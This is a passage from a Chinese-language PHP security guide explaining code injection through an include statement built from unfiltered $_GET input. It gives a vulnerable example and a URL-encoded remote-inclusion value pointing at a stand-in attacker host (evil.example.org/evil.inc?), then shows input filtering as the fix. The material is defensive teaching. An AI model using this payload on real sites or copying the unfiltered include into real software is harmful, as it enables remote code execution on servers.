5.4. 代码注入
5.4. 代码注入
一个特别危险的情形是当你试图使用被污染数据作为动态包含的前导部分时:
<?php
include "{$_GET['path']}/header.inc";
?>
在这种情形下攻击者能操纵不只是文件名,还能控制所包含的资源。由于PHP默认不只可以包含文件,还可以包含下面的资源(由配置文件中的allow_url_fopen所控制):
<?php
include 'http://www.google.com/';
?>
include语句在此时会把http://www.google.com的网页源代码作为本地文件一样包含进来。虽然上面的例子是无害的,但是想像一下如果GOOGLE返回的源代码包含PHP代码时会如何。这样其中包含的PHP代码就会被解析并执行。这是攻击者借以发布恶意代码摧毁你的安全体系的良机。
想象一下path的值指向了下面的攻击者所控制的资源:
http://example.org/index.php?pat ... e.org%2Fevil.inc%3F
在上例中,path的值是URL编码过的,原值如下:
http://evil.example.org/evil.inc?
这就导致了include语句包含并执行了攻击者所选定的脚本(evil.inc),同时原来的文件名/header.inc会被认为是一个请求串:
<?php
include "http://evil.example.org/evil.inc?/header.inc";
?>
这样攻击者就避免了去猜测剩下的目录和文件名(/header.onc)并在evil.example.org上建立相同的路径和文件名的必要性。相反地,在受攻击网站的具体文件名被屏蔽的情况下,他只要保证evil.inc中输出合法的他想要执行的代码就行了。
这种情况与允许攻击者在你的网站上直接修改PHP代码一样危险。幸运的是,只要在include和require语句前对数据进行过滤即可防止这种情况的发生:
<?php
$clean = array();
/* $_GET['path'] is filtered and stored in $clean['path']. */
include "{$clean['path']}/header.inc";
?>